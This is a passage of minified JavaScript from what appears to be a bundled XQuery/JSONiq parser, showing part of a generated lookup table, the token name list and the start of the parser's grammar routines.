,96,524352,96,160,1056,262176,1048608,2097184,4194336,536870944,40,262176,32,96,0,0,0,60,40,48,1120,96,96,64,524352,0,524288,64,96,524352,0,524288,4195360,6291488,2097184,2097184,4194336,4194336,4194336,32,56,0,4,16,32,64,128,256,1536,2048,40,262184,40,40,40,40,40,262176,32,32,6292512,4195360,2097184,32,128,1792,8192,16384,131072,524288,4195104,6292512,32,32,32,32,4,40,262184,32,32,34,34,262184,40,4196128,32,262144,524288,0,0,64,256,0,2097152,135790592,131073,4,393233,262184,34,42,32,524320,32,1073872896,32,32,40,1120,96,1056,4194336,32,2098208,-322695456,-322695456,-322695456,-322695456,-322597152,-320598176,-322597152,-322597144,-321548576,-320598168,-322597144,-321548568,-37482773,0,0,64,1536,32768,-322588952,-321548568,-322588952,-321548568,-322597144,32,0,32,64,65536,0,96,32,32,56,262184,40,41,262184,32,42,224,40,262176,42,106,293601323,293601323,293863467,293699627,293617707,293716011,293702203,293702203,293702203,297896507,293702203,293702203,293702203,293702267,293964347,293702267,297896507,293964347,297896507,297896507,-322597144,-37744981,0,32,524288,0,0,64,2048,16384,32768,0,0,262144,65536,262144,262144,0,4096,0,8,0,2,65536,262656,328192,0,0,0,1536,32768,0,5242880,0,0,0,1998,518144,8388608,-2147418112,5242880,-1842937664,201330721,201330721,-2111369023,-2111369023,-2111369023,-2111369023,-2111360575,-2111369023,-2111369023,-2111369023,-1977151295,-1977151293,-1910042431,-1893265183,-2111368509,-1893265183,-1893265183,-1893265183,-1893265183,-2111368509,-1893265183,-1893265183,-553689472,-553656704,-553689472,-553689472,-553656704,-553656704,-553656704,-553656704,-553656704,-553656672,-553656672,-553656672,-553656672,-536912159,-553656672,-553656672,-553656664,-553656664,-553656672,-553656672,-553656670,-553656672,-553656672,-553656670,-553656608,-553656671,-536879391,-536879391,-536879391,0,0,262656,0,0,65,1024,0,1,4096,201326592,0,0,0,0,462976,-2113929216,100663296,100663296,2,4,8,64,128,512,2048,8192,16384,458752,18874368,463488,0,0,1,2,4,32,0,0,1007232,15728640,104e4,15728640,-570425344,0,0,0,2014,0,0,0,32505856,-570425344,196608,2097152,301989888,0,0,80,268435456,0,268435456,0,268435456,268435456,268435456,268435456,0,0,0,4096,201326592,0,0,96,2260992,12288,0,2147483648,0,0,118,577408,22020096,1040187392,0,0,167772160,234881024,128,512,2048,196608,262144,33554432,536870912,0,0,0,557056,7168,16384,196608,786432,503316480,1073741824,2147483648,0,0,128,131072,524288,58720256,402653184,0,0,0,318767104,128,512,7168,16384,32768,32768,196608,786432,1048576,2097152,4194304,33554432,268435456,536870912,2147483648,0,0,1,256,8388608,234881024,268435456,1073741824,2147483648,4096,16384,32768,131072,524288,1048576,2097152,4194304,8388608,234881024,0,0,201326592,0,0,128,536870912,4194304,512,3072,16384,131072,524288,1048576,4194304,134217728,8388608,33554432,201326592,268435456,1073741824,0,1048576,4194304,268435456,4194304,8388608,134217728,268435456,1073741824,3072,131072,524288,1048576,1073741824,0,0,0,2147483648,0,0,0,-2147483646,16384,18432,67108864,1073741824,16384,8192,0,0,65536,262144,0,0,67108864,0,0,0,32768,0,1,18952,1024,0,0,192,0,0,0,65,1024,1024,100663298,18952,65,268436480,2101248,524288,1024,19017,-1744550912,8388624,8388624,8388624,-1739308032,-1739308032,-1739308032,-1739308032,-1736162288,-1736162288,-1736162288,-1736162288,-7868466,-7868466,-7868466,-7868466,-7868466,-7868450,-7868450,-7868450,-7868450,0,0,0,65536,2048,16384,67108864,134217728,268435456,0,0,1073741824,18432,0,0,1,285212672,0,585,0,0,2,8,16,64,128,3072,4096,8192,65536,131072,0,0,1024,5521408,-1744830464,0,0,0,262144,0,0,0,1024,0,0,0,112,1040,0,0,-1744830464,0,-1744830464,59238400,-67108864,0,0,0,327680,2014,0,0,0,328192,518144,8388608,50331648,201326592,805306368,-1073741824,768,1024,10240,16384,32768,458752,50331648,67108864,134217728,805306368,0,0,0,458880,32768,458752,8388608,50331648,67108864,134217728,67108864,134217728,805306368,1073741824,2147483648,0,0,220,0,0,0,471424,12,192,768,1024,2048,805306368,1073741824,0,0,2,204,768,1024,4,8,32,64,512,2048,512,2048,16384,67108864,0,0,458752,50331648,67108864,805306368,-1073741824,0,0,0,393240,0,1048576,4194304,0,0,16384,458752,50331648,67108864,536870912,1073741824,0,0,16384,0,0,0,256,0,0,0,512,0,0,0,585,16,0,0,1048576,4194304,2147483648,4,8,128,512,3072,16384,32768,131072,512,0,0,4096,1048576,2147483648,8192,2097152,268435456,2147483648,537395200,537395200,0,4196352,51380242,51380242,51380242,0,537395200,4196352,4196352,276901888,8540160,-1606418432,0,32768,537395200,4196352,1082130432,0,4196352,537427968,22022147,22349827,22349827,22349827,22366219,22349843,22349827,22349827,22366219,22349827,55576594,55576594,55576594,55576594,55576594,324012114,55576594,55576594,1062785014,1062785014,1062785014,1062785014,0,0,2,33554432,0,0,0,131072,0,0,0,8192,8392704,32768,268435456,0,0,2,67108864,12,16384,0,65536,0,22020096,0,0,0,104e4,15728640,0,0,329728,0,0,254,1792,2809856,58720256,19,0,0,0,1048576,0,0,0,2048,0,0,0,18,33554432,0,0,256,8192,0,0,8192,2097152,0,2147483648,0,82,301989888,0,0,0,2101248,22020096,1040187392,0,0,0,4194304,0,0,0,16384,1536,0,256,0,8192,2097152,16,1048576,16777216,33554432,268435456,536870912,2147483648,3584,16384,32768,524288,1048576,4194304,0,0,8388608,1073741824,0,0,1536,2048,16384,32768,524288,4194304,134217728,0,0,134217728,4096,0,8,0,256,1536,16384,32768,524288,128,536870912,0,0,4,8,512,2048,0,0,1536,32768,524288,4194304,33554432,134217728,536870912,0,0,8192,2097152,2147483648,0,0,512,2048,131072,536870912,0,0,16,64,1536,32768,32768,524288,134217728,0,0,0,524288,0,64,64,16392,1536,32768,524288,0,0,33554432,8192,0,65536,0,0,1,1,0,1,67174400,33554432,536870912,-1073741824,0,0,0,0,524288,134217728,67174400,0,0,0,16777216,0,0,0,4,0,0,0,7,16,16384,8,8,0,0,512,3072,131072,131072,268435456,134217728,8,512,2048,196608,262144,50331648,536870912,1073741824,0,4,8,2048,8192,32768,8388608,0,0,134217736,16908320,547389524,547389524,555909216,555909216,555909216,555909216,564297840,564297844,564297844,564297844,564297844,1001055742,1001056254,1001055742,1001055742,1001056254,1001056254,1001056254,1001056254,1001055742,1001056254,1001056254,1001056254,1001056254,0,1052672,2147483648,0,0,4,16,0,0,84,2129920,8388608,4096,0,0,0,116,0,254,1280,2809856,58720256,939524096,0,0,0,50331648,268435456,0,0,0,939524096,0,0,520,1024,0,0,1,0,67108864,1073741824,0,0,0,20,64,32768,8192,0,2048,0,2097152,8388608,536870912,0,0,1024,278528,0,0,0,393232,163840,0,0,0,134217728,0,0,0,16,0,0,0,15,208,15360,1245184,52,0,0,0,268435456,0,0,33554432,64,128,1280,24576,163840,524288,2097152,58720256,402653184,536870912,128,1792,24576,163840,524288,0,4,16,8388608,0,0,4096,32768,262144,524288,33554432,134217728,0,0,24,32,128,1280,8192,16384,8192,524288,16777216,33554432,402653184,0,4,8,16,1024,2048,8192,16384,32768,458752,0,262144,33554432,134217728,0,512,1024,16777216,33554432,402653184,0,4096,1048576,0,0,1998,59238400,-67108864,4,8,16,402653184,0,0,8,16,402653184,536870912,0,0,4,64,128,8388608,0,0,67108866,12,64,128,512,1024,4,16384,65536,67108864,0,65536,0,0,2048,64,64,64,96,96,96,96,0,8192,8192,268435460,32768,65536,2490368,16777216,2147483648,0,0,1,4,8,2048,8192,3670016,2048,2048,2048,2048,0,8192,34816,9216,4096,0,128,0,2097152,0,0,4096,4096,29696,29712,29840,29712,29712,29840,29840,536900624,4224144,144384,144384,144384,144384,-754647956,-754647956,-754647956,-754647956,-754647956,-754647940,-754647940,-754647940,-754647940,-754516884,-754647956,-754516884,-754516884,-754516884,4,8,256,512,2048,0,0,3670016,0,0,2048,131072,524288,4194304,2147483648,0,0,9216,0,0,4,134217728,0,29696,0,0,4,268435456,0,16,0,29824,0,60,64576,319029248,-1073741824,0,0,319160320,0,0,0,319160320,0,0,524288,3145728,0,12288,131072,0,8,131072,61440,262144,318767104,-1073741824,0,0,64,1024,2048,61440,262144,0,28,32,64,64,64,128,0,0,16384,32768,50331648,268435456,0,0,0,393216,0,0,0,486539264,0,128,0,536870912,0,0,12,16,32,327155712,34,1056,32,32,42,4457568,-326784344,-322851160,-322698144,-322698144,-322698144,-322698144,-322695456,0,0,524288,1048576,0,0,0,536870912,4194304,131072,0,0,6,56,128,1792,2,67108864,16384,0,0,4096,4194304,32768,0,0,0,8388608,0,0,0,72,0,8,64,2048,57344,16384,32768,262144,50331648,268435456,0,524288,1048576,2097152,4194304,134217728,2147483648,0,0,50331648,268435456,2147483648,0,0,1,0,0,2,4,16,64,1,0,2,0,0,65536,0,0,0,1040,8667136,0,131072,131072,0,131072,0,131072,0,0,524288,536870912,131072,0,0,7,27756528,-503316480,0,256,0,2048,32768,8388608,262144,2113536,0,0,8,16,512,402653184,0,0,0,256,32768,0,0,4224,65536,262144,1048576,4194304,16777216,33554432,67108864,134217728,0,0,256,262144,0,0,8192,268435456,0,0,0,4,131073,0,0,9728,268435456,0,0,16,393216,0,131073,131073,33554624,4,0,131073,0,0,13312,131072,4194304,-2146430976,131072,2097152,16777216,0,0,512,131072,1048576,2097152,0,1572864,0,0,0,2147483648,524288,0,1610612736,1610612736,1610612736,393241,393241,393241,393241,805707793,805707793,1879449617,805708049,1879449617,1879449617,1879449617,1879449617,-483948553,-475559945,-483948553,-475559945,-483948553,-483948553,-475559945,-475559945,-475559945,-475559945,-483948553,-483948553,-215504905,-475559945,-207116297,-207116297,0,0,0,1073741824,0,0,2097152,67108864,134217728,536870912,0,0,24576,0,0,0,2113536,0,0,8,64,0,0,0,401424,805306368,0,0,28672,0,0,4096,2097152,4194304,8388608,503316480,1073741824,0,0,1879048192,0,0,32768,2097152,8388608,16777216,33554432,0,401680,0,0,8,512,2048,131072,33554432,536870912,0,0,7,19367920,-503316480,27756528,-503316480,0,0,0,0,0,19376112,-234881024,0,27764720,-234881024,0,0,32768,33554436,0,0,33554436,24,0,0,0,11,346112,7,16,480,1536,32768,65536,393216,10485760,65536,10878976,16777216,33554432,536870912,4,32,524288,1048576,33554432,67108864,65536,393216,2097152,16777216,262400,65536,4224,4224,0,65536,201326592,2147483648,393216,10485760,16777216,33554432,1073741824,2147483648,0,16,224,256,1536,32768,65536,0,16384,2097152,0,0,1024,32768,65536,131072,262144,262144,2097152,16777216,33554432,4,32,524288,134217728,0,512,32768,131072,262144,2097152,2097152,8388608,16777216,1073741824,0,0,512,32768,131072,2097152,8388608,8388608,16777216,0,0,16,33554432,4,16,224,512,32768,4,524288,134217728,0,0,32768,50331648,268435456,4096,32768,0,0,16,536870912,16,192,32768,8388608,4096,4096,4096,1536,2,4,16,192,32768,0,16,64,128,8388608,0,0,0,2,4,134217728,4,0,0,128,512,3072,4096,16384,131072,4,128,0,0,18,17825792,524288,8388608,33554432,2147483648,8192,0,33554432,0,0,33554432,0,0,0,268435456,2,4,8,262144,262144,1048576,2048,32768,0,0,28,0,100663296,4224,65536,65536,262144,33554432,0,2,4,24,-1072627712,805306384,-1342177264,-1342177264,-1070006272,-1070006272,-1069989376,-1069989376,-258932720,-258932720,-258932720,-258932720,-225378288,-1069989376,-1069989360,-1065795072,-1061600768,-258932720,-225378288,-258932720,-258932720,1260767,34815199,1260767,34815199,1260767,34815199,34815199,1260767,1260767,34815199,1260767,1260767,169032927,-1978450721,169032927,-1978450721,169032927,169032927,169032927,169032927,1242774751,-1978450721,-1978450721,-225231649,-1173144353,-225231649,-91013921,0,0,32,128,256,262144,524288,8388608,0,64,0,0,1114112,1073741824,0,0,34816,0,0,2048,4194304,0,0,0,3735552,0,0,32,512,2048,32768,262144,524288,3751936,0,0,0,48,0,0,528,7946240,12140544,9502720,1610612736,0,0,0,15360,1245184,0,0,134217728,128,15,9633792,0,0,0,2,12,80,128,7168,8192,7168,8192,196608,1048576,0,0,0,1,2,12,16,64,128,256,0,0,3145728,0,0,0,536870912,0,0,8192,65536,131072,1048576,0,0,0,2097152,0,16384,0,4194304,0,0,2097152,16384,0,0,131072,2097152,0,0,0,4096,0,0,8192,0,0,0,128,0,0,0,208,0,64,128,1024,4096,0,0,2,8,64,128,1024,2048,4096,8192,128,1024,4096,8192,0,0],r.TOKEN=[\"(0)\",\"PragmaContents\",\"DirCommentContents\",\"DirPIContents\",\"CDataSection\",\"Wildcard\",\"EQName\",\"URILiteral\",\"IntegerLiteral\",\"DecimalLiteral\",\"DoubleLiteral\",\"StringLiteral\",\"PredefinedEntityRef\",\"'\\\"\\\"'\",\"EscapeApos\",\"ElementContentChar\",\"QuotAttrContentChar\",\"AposAttrContentChar\",\"PITarget\",\"NCName\",\"QName\",\"S\",\"S\",\"CharRef\",\"CommentContents\",\"EOF\",\"'!'\",\"'!='\",\"'\\\"'\",\"'#'\",\"'#)'\",\"'$'\",\"'$$'\",\"'%'\",\"''''\",\"'('\",\"'(#'\",\"'(:'\",\"')'\",\"'*'\",\"'*'\",\"'+'\",\"','\",\"'-'\",\"'-->'\",\"'.'\",\"'..'\",\"'/'\",\"'//'\",\"'/>'\",\"':'\",\"':)'\",\"'::'\",\"':='\",\"';'\",\"'<'\",\"'<!--'\",\"'</'\",\"'<<'\",\"'<='\",\"'<?'\",\"'='\",\"'>'\",\"'>='\",\"'>>'\",\"'?'\",\"'?>'\",\"'@'\",\"'NaN'\",\"'['\",\"']'\",\"'after'\",\"'all'\",\"'allowing'\",\"'ancestor'\",\"'ancestor-or-self'\",\"'and'\",\"'any'\",\"'append'\",\"'array'\",\"'as'\",\"'ascending'\",\"'at'\",\"'attribute'\",\"'base-uri'\",\"'before'\",\"'boundary-space'\",\"'break'\",\"'by'\",\"'case'\",\"'cast'\",\"'castable'\",\"'catch'\",\"'check'\",\"'child'\",\"'collation'\",\"'collection'\",\"'comment'\",\"'constraint'\",\"'construction'\",\"'contains'\",\"'content'\",\"'context'\",\"'continue'\",\"'copy'\",\"'copy-namespaces'\",\"'count'\",\"'decimal-format'\",\"'decimal-separator'\",\"'declare'\",\"'default'\",\"'delete'\",\"'descendant'\",\"'descendant-or-self'\",\"'descending'\",\"'diacritics'\",\"'different'\",\"'digit'\",\"'distance'\",\"'div'\",\"'document'\",\"'document-node'\",\"'element'\",\"'else'\",\"'empty'\",\"'empty-sequence'\",\"'encoding'\",\"'end'\",\"'entire'\",\"'eq'\",\"'every'\",\"'exactly'\",\"'except'\",\"'exit'\",\"'external'\",\"'false'\",\"'first'\",\"'following'\",\"'following-sibling'\",\"'for'\",\"'foreach'\",\"'foreign'\",\"'from'\",\"'ft-option'\",\"'ftand'\",\"'ftnot'\",\"'ftor'\",\"'function'\",\"'ge'\",\"'greatest'\",\"'group'\",\"'grouping-separator'\",\"'gt'\",\"'idiv'\",\"'if'\",\"'import'\",\"'in'\",\"'index'\",\"'infinity'\",\"'inherit'\",\"'insensitive'\",\"'insert'\",\"'instance'\",\"'integrity'\",\"'intersect'\",\"'into'\",\"'is'\",\"'item'\",\"'json'\",\"'json-item'\",\"'jsoniq'\",\"'key'\",\"'language'\",\"'last'\",\"'lax'\",\"'le'\",\"'least'\",\"'let'\",\"'levels'\",\"'loop'\",\"'lowercase'\",\"'lt'\",\"'minus-sign'\",\"'mod'\",\"'modify'\",\"'module'\",\"'most'\",\"'namespace'\",\"'namespace-node'\",\"'ne'\",\"'next'\",\"'no'\",\"'no-inherit'\",\"'no-preserve'\",\"'node'\",\"'nodes'\",\"'not'\",\"'null'\",\"'object'\",\"'occurs'\",\"'of'\",\"'on'\",\"'only'\",\"'option'\",\"'or'\",\"'order'\",\"'ordered'\",\"'ordering'\",\"'paragraph'\",\"'paragraphs'\",\"'parent'\",\"'pattern-separator'\",\"'per-mille'\",\"'percent'\",\"'phrase'\",\"'position'\",\"'preceding'\",\"'preceding-sibling'\",\"'preserve'\",\"'previous'\",\"'processing-instruction'\",\"'relationship'\",\"'rename'\",\"'replace'\",\"'return'\",\"'returning'\",\"'revalidation'\",\"'same'\",\"'satisfies'\",\"'schema'\",\"'schema-attribute'\",\"'schema-element'\",\"'score'\",\"'select'\",\"'self'\",\"'sensitive'\",\"'sentence'\",\"'sentences'\",\"'skip'\",\"'sliding'\",\"'some'\",\"'stable'\",\"'start'\",\"'stemming'\",\"'stop'\",\"'strict'\",\"'strip'\",\"'structured-item'\",\"'switch'\",\"'text'\",\"'then'\",\"'thesaurus'\",\"'times'\",\"'to'\",\"'treat'\",\"'true'\",\"'try'\",\"'tumbling'\",\"'type'\",\"'typeswitch'\",\"'union'\",\"'unique'\",\"'unordered'\",\"'updating'\",\"'uppercase'\",\"'using'\",\"'validate'\",\"'value'\",\"'variable'\",\"'version'\",\"'weight'\",\"'when'\",\"'where'\",\"'while'\",\"'wildcards'\",\"'window'\",\"'with'\",\"'without'\",\"'word'\",\"'words'\",\"'zero-digit'\",\"'{'\",\"'{{'\",\"'{|'\",\"'|'\",\"'||'\",\"'|}'\",\"'}'\",\"'}}'\"]},{}],10:[function(e,t,n){var r=n.XQueryParser=function i(e,t){function r(e,t){Vl=t,Ql=e,Gl=e.length,s(0,0,0)}function s(e,t,n){Dl=t,Pl=t,Hl=e,Bl=t,jl=n,Fl=0,Zl=n,Ul=-1,$l={},Vl.reset(Ql)}function o(){Vl.startNonterminal(\"Module\",Pl);switch(Hl){case 274:Ll(199);break;default:_l=Hl}(_l==64274||_l==134930)&&u(),kl(275);switch(Hl){case 182:Ll(194);break;default:_l=Hl}switch(_l){case 94390:Nl(),a();break;default:Nl(),Ra()}Vl.endNonterminal(\"Module\",Pl)}function u(){Vl.startNonterminal(\"VersionDecl\",Pl),Sl(274),kl(116);switch(Hl){case 125:Sl(125),kl(17),Sl(11);break;default:Sl(263),kl(17),Sl(11),kl(109),Hl==125&&(Sl(125),kl(17),Sl(11))}kl(28),Nl(),c(),Vl.endNonterminal(\"VersionDecl\",Pl)}function a(){Vl.startNonterminal(\"LibraryModule\",Pl),f(),kl(138),Nl(),l(),Vl.endNonterminal(\"LibraryModule\",Pl)}function f(){Vl.startNonterminal(\"ModuleDecl\",Pl),Sl(182),kl(61),Sl(184),kl(249),Nl(),Ia(),kl(29),Sl(60),kl(15),Sl(7),kl(28),Nl(),c(),Vl.endNonterminal(\"ModuleDecl\",Pl)}function l(){Vl.startNonterminal(\"Prolog\",Pl);for(;;){kl(275);switch(Hl){case 108:Ll(214);break;case 153:Ll(202);break;default:_l=Hl}if(_l!=42604&&_l!=43628&&_l!=50284&&_l!=53356&&_l!=54380&&_l!=55916&&_l!=72300&&_l!=93337&&_l!=94316&&_l!=104044&&_l!=113772&&_l!=115353)break;switch(Hl){case 108:Ll(179);break;default:_l=Hl}if(_l==55916){_l=Kl(0,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{_(),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(0,Pl,_l)}}switch(_l){case-1:Nl(),M();break;case 94316:Nl(),O();break;case 153:Nl(),C();break;case 72300:Nl(),D();break;default:Nl(),h()}kl(28),Nl(),c()}for(;;){kl(275);switch(Hl){case 108:Ll(211);break;default:_l=Hl}if(_l!=16492&&_l!=48748&&_l!=51820&&_l!=74348&&_l!=79468&&_l!=82540&&_l!=101996&&_l!=131692&&_l!=134252)break;switch(Hl){case 108:Ll(175);break;default:_l=Hl}switch(_l){case 51820:Nl(),R();break;case 101996:Nl(),Q();break;default:Nl(),P()}kl(28),Nl(),c()}Vl.endNonterminal(\"Prolog\",Pl)}function c(){Vl.startNonterminal(\"Separator\",Pl),Sl(53),Vl.endNonterminal(\"Separator\",Pl)}function h(){Vl.startNonterminal(\"Setter\",Pl);switch(Hl){case 108:Ll(172);break;default:_l=Hl}if(_l==55916){_l=Kl(1,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{v(),_l=-2}catch(a){try{Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),w(),_l=-6}catch(f){_l=-9}}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(1,Pl,_l)}}switch(_l){case 43628:p();break;case-2:d();break;case 42604:m();break;case 50284:g();break;case 104044:y();break;case-6:b();break;case 113772:ko();break;case 53356:E();break;default:T()}Vl.endNonterminal(\"Setter\",Pl)}function p(){Vl.startNonterminal(\"BoundarySpaceDecl\",Pl),Sl(108),kl(33),Sl(85),kl(133);switch(Hl){case 214:Sl(214);break;default:Sl(241)}Vl.endNonterminal(\"BoundarySpaceDecl\",Pl)}function d(){Vl.startNonterminal(\"DefaultCollationDecl\",Pl),Sl(108),kl(46),Sl(109),kl(38),Sl(94),kl(15),Sl(7),Vl.endNonterminal(\"DefaultCollationDecl\",Pl)}function v(){xl(108),kl(46),xl(109),kl(38),xl(94),kl(15),xl(7)}function m(){Vl.startNonterminal(\"BaseURIDecl\",Pl),Sl(108),kl(32),Sl(83),kl(15),Sl(7),Vl.endNonterminal(\"BaseURIDecl\",Pl)}function g(){Vl.startNonterminal(\"ConstructionDecl\",Pl),Sl(108),kl(41),Sl(98),kl(133);switch(Hl){case 241:Sl(241);break;default:Sl(214)}Vl.endNonterminal(\"ConstructionDecl\",Pl)}function y(){Vl.startNonterminal(\"OrderingModeDecl\",Pl),Sl(108),kl(68),Sl(203),kl(131);switch(Hl){case 202:Sl(202);break;default:Sl(256)}Vl.endNonterminal(\"OrderingModeDecl\",Pl)}function b(){Vl.startNonterminal(\"EmptyOrderDecl\",Pl),Sl(108),kl(46),Sl(109),kl(67),Sl(201),kl(49),Sl(123),kl(121);switch(Hl){case 147:Sl(147);break;default:Sl(173)}Vl.endNonterminal(\"EmptyOrderDecl\",Pl)}function w(){xl(108),kl(46),xl(109),kl(67),xl(201),kl(49),xl(123),kl(121);switch(Hl){case 147:xl(147);break;default:xl(173)}}function E(){Vl.startNonterminal(\"CopyNamespacesDecl\",Pl),Sl(108),kl(44),Sl(104),kl(128),Nl(),S(),kl(25),Sl(41),kl(123),Nl(),x(),Vl.endNonterminal(\"CopyNamespacesDecl\",Pl)}function S(){Vl.startNonterminal(\"PreserveMode\",Pl);switch(Hl){case 214:Sl(214);break;default:Sl(190)}Vl.endNonterminal(\"PreserveMode\",Pl)}function x(){Vl.startNonterminal(\"InheritMode\",Pl);switch(Hl){case 157:Sl(157);break;default:Sl(189)}Vl.endNonterminal(\"InheritMode\",Pl)}function T(){Vl.startNonterminal(\"DecimalFormatDecl\",Pl),Sl(108),kl(114);switch(Hl){case 106:Sl(106),kl(255),Nl(),Ha();break;default:Sl(109),kl(45),Sl(106)}for(;;){kl(181);if(Hl==53)break;Nl(),N(),kl(29),Sl(60),kl(17),Sl(11)}Vl.endNonterminal(\"DecimalFormatDecl\",Pl)}function N(){Vl.startNonterminal(\"DFPropertyName\",Pl);switch(Hl){case 107:Sl(107);break;case 149:Sl(149);break;case 156:Sl(156);break;case 179:Sl(179);break;case 67:Sl(67);break;case 209:Sl(209);break;case 208:Sl(208);break;case 275:Sl(275);break;case 116:Sl(116);break;default:Sl(207)}Vl.endNonterminal(\"DFPropertyName\",Pl)}function C(){Vl.startNonterminal(\"Import\",Pl);switch(Hl){case 153:Ll(126);break;default:_l=Hl}switch(_l){case 115353:k();break;default:A()}Vl.endNonterminal(\"Import\",Pl)}function k(){Vl.startNonterminal(\"SchemaImport\",Pl),Sl(153),kl(73),Sl(225),kl(137),Hl!=7&&(Nl(),L()),kl(15),Sl(7),kl(108);if(Hl==81){Sl(81),kl(15),Sl(7);for(;;){kl(103);if(Hl!=41)break;Sl(41),kl(15),Sl(7)}}Vl.endNonterminal(\"SchemaImport\",Pl)}function L(){Vl.startNonterminal(\"SchemaPrefix\",Pl);switch(Hl){case 184:Sl(184),kl(249),Nl(),Ia(),kl(29),Sl(60);break;default:Sl(109),kl(47),Sl(121),kl(61),Sl(184)}Vl.endNonterminal(\"SchemaPrefix\",Pl)}function A(){Vl.startNonterminal(\"ModuleImport\",Pl),Sl(153),kl(60),Sl(182),kl(90),Hl==184&&(Sl(184),kl(249),Nl(),Ia(),kl(29),Sl(60)),kl(15),Sl(7),kl(108);if(Hl==81){Sl(81),kl(15),Sl(7);for(;;){kl(103);if(Hl!=41)break;Sl(41),kl(15),Sl(7)}}Vl.endNonterminal(\"ModuleImport\",Pl)}function O(){Vl.startNonterminal(\"NamespaceDecl\",Pl),Sl(108),kl(61),Sl(184),kl(249),Nl(),Ia(),kl(29),Sl(60),kl(15),Sl(7),Vl.endNonterminal(\"NamespaceDecl\",Pl)}function M(){Vl.startNonterminal(\"DefaultNamespaceDecl\",Pl),Sl(108),kl(46),Sl(109),kl(115);switch(Hl){case 121:Sl(121);break;default:Sl(145)}kl(61),Sl(184),kl(15),Sl(7),Vl.endNonterminal(\"DefaultNamespaceDecl\",Pl)}function _(){xl(108),kl(46),xl(109),kl(115);switch(Hl){case 121:xl(121);break;default:xl(145)}kl(61),xl(184),kl(15),xl(7)}function D(){Vl.startNonterminal(\"FTOptionDecl\",Pl),Sl(108),kl(52),Sl(141),kl(81),Nl(),Fu(),Vl.endNonterminal(\"FTOptionDecl\",Pl)}function P(){Vl.startNonterminal(\"AnnotatedDecl\",Pl),Sl(108);for(;;){kl(170);if(Hl!=32&&Hl!=257)break;switch(Hl){case 257:Nl(),H();break;default:Nl(),B()}}switch(Hl){case 262:Nl(),F();break;case 145:Nl(),wl();break;case 95:Nl(),da();break;case 155:Nl(),xa();break;default:Nl(),Ta()}Vl.endNonterminal(\"AnnotatedDecl\",Pl)}function H(){Vl.startNonterminal(\"CompatibilityAnnotation\",Pl),Sl(257),Vl.endNonterminal(\"CompatibilityAnnotation\",Pl)}function B(){Vl.startNonterminal(\"Annotation\",Pl),Sl(32),kl(255),Nl(),Ha(),kl(171);if(Hl==34){Sl(34),kl(154),Nl(),oi();for(;;){kl(101);if(Hl!=41)break;Sl(41),kl(154),Nl(),oi()}Sl(37)}Vl.endNonterminal(\"Annotation\",Pl)}function j(){xl(32),kl(255),Ba(),kl(171);if(Hl==34){xl(34),kl(154),ui();for(;;){kl(101);if(Hl!=41)break;xl(41),kl(154),ui()}xl(37)}}function F(){Vl.startNonterminal(\"VarDecl\",Pl),Sl(262),kl(21),Sl(31),kl(255),Nl(),hi(),kl(147),Hl==79&&(Nl(),ds()),kl(106);switch(Hl){case 52:Sl(52),kl(267),Nl(),I();break;default:Sl(133),kl(104),Hl==52&&(Sl(52),kl(267),Nl(),q())}Vl.endNonterminal(\"VarDecl\",Pl)}function I(){Vl.startNonterminal(\"VarValue\",Pl),_f(),Vl.endNonterminal(\"VarValue\",Pl)}function q(){Vl.startNonterminal(\"VarDefaultValue\",Pl),_f(),Vl.endNonterminal(\"VarDefaultValue\",Pl)}function R(){Vl.startNonterminal(\"ContextItemDecl\",Pl),Sl(108),kl(43),Sl(101),kl(55),Sl(165),kl(147),Hl==79&&(Sl(79),kl(260),Nl(),ws()),kl(106);switch(Hl){case 52:Sl(52),kl(267),Nl(),I();break;default:Sl(133),kl(104),Hl==52&&(Sl(52),kl(267),Nl(),q())}Vl.endNonterminal(\"ContextItemDecl\",Pl)}function U(){Vl.startNonterminal(\"ParamList\",Pl),W();for(;;){kl(101);if(Hl!=41)break;Sl(41),kl(21),Nl(),W()}Vl.endNonterminal(\"ParamList\",Pl)}function z(){X();for(;;){kl(101);if(Hl!=41)break;xl(41),kl(21),X()}}function W(){Vl.startNonterminal(\"Param\",Pl),Sl(31),kl(255),Nl(),Ha(),kl(143),Hl==79&&(Nl(),ds()),Vl.endNonterminal(\"Param\",Pl)}function X(){xl(31),kl(255),Ba(),kl(143),Hl==79&&vs()}function V(){Vl.startNonterminal(\"FunctionBody\",Pl),J(),Vl.endNonterminal(\"FunctionBody\",Pl)}function $(){K()}function J(){Vl.startNonterminal(\"EnclosedExpr\",Pl),Sl(276),kl(267),Nl(),G(),Sl(282),Vl.endNonterminal(\"EnclosedExpr\",Pl)}function K(){xl(276),kl(267),Y(),xl(282)}function Q(){Vl.startNonterminal(\"OptionDecl\",Pl),Sl(108),kl(66),Sl(199),kl(255),Nl(),Ha(),kl(17),Sl(11),Vl.endNonterminal(\"OptionDecl\",Pl)}function G(){Vl.startNonterminal(\"Expr\",Pl),_f();for(;;){if(Hl!=41)break;Sl(41),kl(267),Nl(),_f()}Vl.endNonterminal(\"Expr\",Pl)}function Y(){Df();for(;;){if(Hl!=41)break;xl(41),kl(267),Df()}}function Z(){Vl.startNonterminal(\"FLWORExpr\",Pl),tt();for(;;){kl(173);if(Hl==220)break;Nl(),rt()}Nl(),rn(),Vl.endNonterminal(\"FLWORExpr\",Pl)}function et(){nt();for(;;){kl(173);if(Hl==220)break;it()}sn()}function tt(){Vl.startNonterminal(\"InitialClause\",Pl);switch(Hl){case 137:Ll(141);break;default:_l=Hl}switch(_l){case 16009:st();break;case 174:vt();break;default:bt()}Vl.endNonterminal(\"InitialClause\",Pl)}function nt(){switch(Hl){case 137:Ll(141);break;default:_l=Hl}switch(_l){case 16009:ot();break;case 174:mt();break;default:wt()}}function rt(){Vl.startNonterminal(\"IntermediateClause\",Pl);switch(Hl){case 137:case 174:tt();break;case 266:It();break;case 148:Rt();break;case 105:jt();break;default:Kt()}Vl.endNonterminal(\"IntermediateClause\",Pl)}function it(){switch(Hl){case 137:case 174:nt();break;case 